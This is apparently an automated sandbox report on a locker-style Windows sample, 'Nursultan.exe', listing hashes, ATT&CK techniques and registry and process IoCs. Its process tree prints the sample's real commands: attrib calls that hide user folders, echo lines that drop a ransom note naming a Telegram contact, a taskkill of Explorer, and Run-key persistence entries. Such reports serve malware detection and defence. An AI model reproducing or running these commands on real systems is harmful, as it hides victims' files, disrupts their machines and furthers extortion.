80229b275ca9f02dd57a3f6e10fb4a3b6453193180b48eb93f7b8790412b2cbf

Analysis

max time kernel
150s
max time network
128s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
23/10/2026, 09:41

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General

Target
Nursultan.exe
Size 211KB
Sample261023-ln4a3axtgs
SHA256 80229b275ca9f02dd57a3f6e10fb4a3b6453193180b48eb93f7b8790412b2cbf
MD5 f22397e3d13fa9c9f599298b077232cf
SHA1 d9ceb295d2ad235faa3a5f59f8a4bec82f4cc414
SHA512 5ce3daf4754934b1d2d7d41375465e08bb66ce74cf5aa010e0ad465d4941f3d5415be5ac861b3f23f751fa71e827341a691376e48f775fac7f2907a0b1a7670c
SSDEEP 6144:8l8A/ehUOqxaPB/VmQrKUiPbDddASCpMW90KImQiXnhbmew:8eAwUOqxaPFVZYvj
TLSH
T1A4244A9813AB897DD63D237ED0A1110507F4A227C103E35E9EE5E4F95F2B312AB12B97
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

defense_evasion discovery persistence

Malware Config

Signatures

Adds Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_2 = "taskhost.exe"	Nursultan.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_3 = "windowsx-c.exe"	Nursultan.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_5 = "_default64.exe"	Nursultan.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_4 = "System.exe"	Nursultan.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_6 = "native.exe"	Nursultan.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_7 = "ux-cryptor.exe"	Nursultan.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_8 = "crypt0rsx.exe"	Nursultan.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsInstaller = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\Nursultan.exe\" -startup"	Nursultan.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Software\Microsoft\Windows\CurrentVersion\Run\MSEdgeUpdateX = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\Nursultan.exe\""	Nursultan.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_1 = "AWindowsService.exe"	Nursultan.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3076	cmd.exe
264	cmd.exe
4752	cmd.exe
1644	cmd.exe
5172	cmd.exe
1388	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Nursultan.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Nursultan.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
4372	taskkill.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
948	Nursultan.exe
948	Nursultan.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	948	Nursultan.exe
Token: SeDebugPrivilege	4372	taskkill.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 948 wrote to memory of 264	948	Nursultan.exe	94
PID 948 wrote to memory of 3076	948	Nursultan.exe	95
PID 948 wrote to memory of 1388	948	Nursultan.exe	96
PID 948 wrote to memory of 5172	948	Nursultan.exe	97
PID 948 wrote to memory of 1644	948	Nursultan.exe	98
PID 948 wrote to memory of 4752	948	Nursultan.exe	99
PID 948 wrote to memory of 4372	948	Nursultan.exe	100
PID 5172 wrote to memory of 3444	5172	cmd.exe	116
PID 4752 wrote to memory of 3452	4752	cmd.exe	117
PID 1388 wrote to memory of 1888	1388	cmd.exe	118
PID 264 wrote to memory of 944	264	cmd.exe	119
PID 1644 wrote to memory of 708	1644	cmd.exe	120
PID 3076 wrote to memory of 4724	3076	cmd.exe	121
PID 5172 wrote to memory of 5080	5172	cmd.exe	122
PID 1644 wrote to memory of 4860	1644	cmd.exe	123
PID 4752 wrote to memory of 2736	4752	cmd.exe	124
PID 264 wrote to memory of 5460	264	cmd.exe	125
PID 1388 wrote to memory of 1836	1388	cmd.exe	126
PID 3076 wrote to memory of 5636	3076	cmd.exe	127

Views/modifies file attributes 1 TTPs 12 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2736	attrib.exe
5460	attrib.exe
3444	attrib.exe
1888	attrib.exe
708	attrib.exe
4724	attrib.exe
5080	attrib.exe
1836	attrib.exe
5636	attrib.exe
3452	attrib.exe
944	attrib.exe
4860	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Nursultan.exe
"C:\Users\Admin\AppData\Local\Temp\Nursultan.exe"
1⤵
- Adds Run key to start application
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:948
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @webrateboyanaana 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:264
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:944
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:5460
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @webrateboyanaana 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:3076
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:4724
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:5636
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @webrateboyanaana 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:1388
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:1888
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:1836
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @webrateboyanaana 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:5172
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:3444
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:5080
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @webrateboyanaana 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:1644
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:708
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:4860
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @webrateboyanaana 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4752
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:3452
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:2736
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill.exe /im Explorer.exe /f
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4372

C:\Users\Admin\AppData\Local\Temp\Nursultan.exe
"C:\Users\Admin\AppData\Local\Temp\Nursultan.exe" -startup
1⤵
PID:4512

C:\Users\Admin\AppData\Local\Temp\Nursultan.exe
"C:\Users\Admin\AppData\Local\Temp\Nursultan.exe"
1⤵
PID:3472

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

info-Locker.txt

Path C:\Users\Admin\Downloads\info-Locker.txt
Size 84B
SHA256 ea864dc77064d2cf3ad7292bee7fc3ac49e9731ae871a1301f7fd7c8c9dce613
MD5 96aa135a5d97582c0fce799b5614cf8d
SHA1 a2d0274ef2e379ec84e0f9d07b5c176d3a3c42dc
SHA512 6ccddf55258ec5c29b50cdd59865952875907604624517af5349e5c0ff1539fcd624302f0e2da9f627a2c8a8eaafe93a04a29eb3762d96fae51dd99e28ffcfcf
TLSH
T161A012583D183A44310010F37A31B10114ACAA0C10071C421104085230B108854DF520
MD5 SHA1 SHA512 TLSH

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memory/948-8-0x00007FFD30B50000-0x00007FFD314F4000-memory.dmp

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memory/948-11-0x00007FFD30B50000-0x00007FFD314F4000-memory.dmp

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memory/948-3-0x00007FFD30B50000-0x00007FFD314F4000-memory.dmp

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memory/948-4-0x00007FFD30B50000-0x00007FFD314F4000-memory.dmp

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memory/948-5-0x00007FFD30B50000-0x00007FFD314F4000-memory.dmp

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memory/948-6-0x00007FFD30B50000-0x00007FFD314F4000-memory.dmp

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memory/948-7-0x00007FFD30B50000-0x00007FFD314F4000-memory.dmp

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memory/948-1-0x00000000005E0000-0x000000000061C000-memory.dmp

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memory/948-2-0x00007FFD30B50000-0x00007FFD314F4000-memory.dmp

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memory/948-9-0x00007FFD30B50000-0x00007FFD314F4000-memory.dmp

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memory/948-10-0x00007FFD30B50000-0x00007FFD314F4000-memory.dmp

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memory/948-32-0x00007FFD30B50000-0x00007FFD314F4000-memory.dmp

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memory/948-13-0x00007FFD30B50000-0x00007FFD314F4000-memory.dmp

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memory/948-0-0x00007FFD30CDF000-0x00007FFD30CE0000-memory.dmp

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memory/948-29-0x00007FFD30B50000-0x00007FFD314F4000-memory.dmp

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memory/948-30-0x00007FFD30B50000-0x00007FFD314F4000-memory.dmp

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memory/4512-31-0x00007FFD30B50000-0x00007FFD314F4000-memory.dmp

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memory/4512-12-0x00007FFD30B50000-0x00007FFD314F4000-memory.dmp

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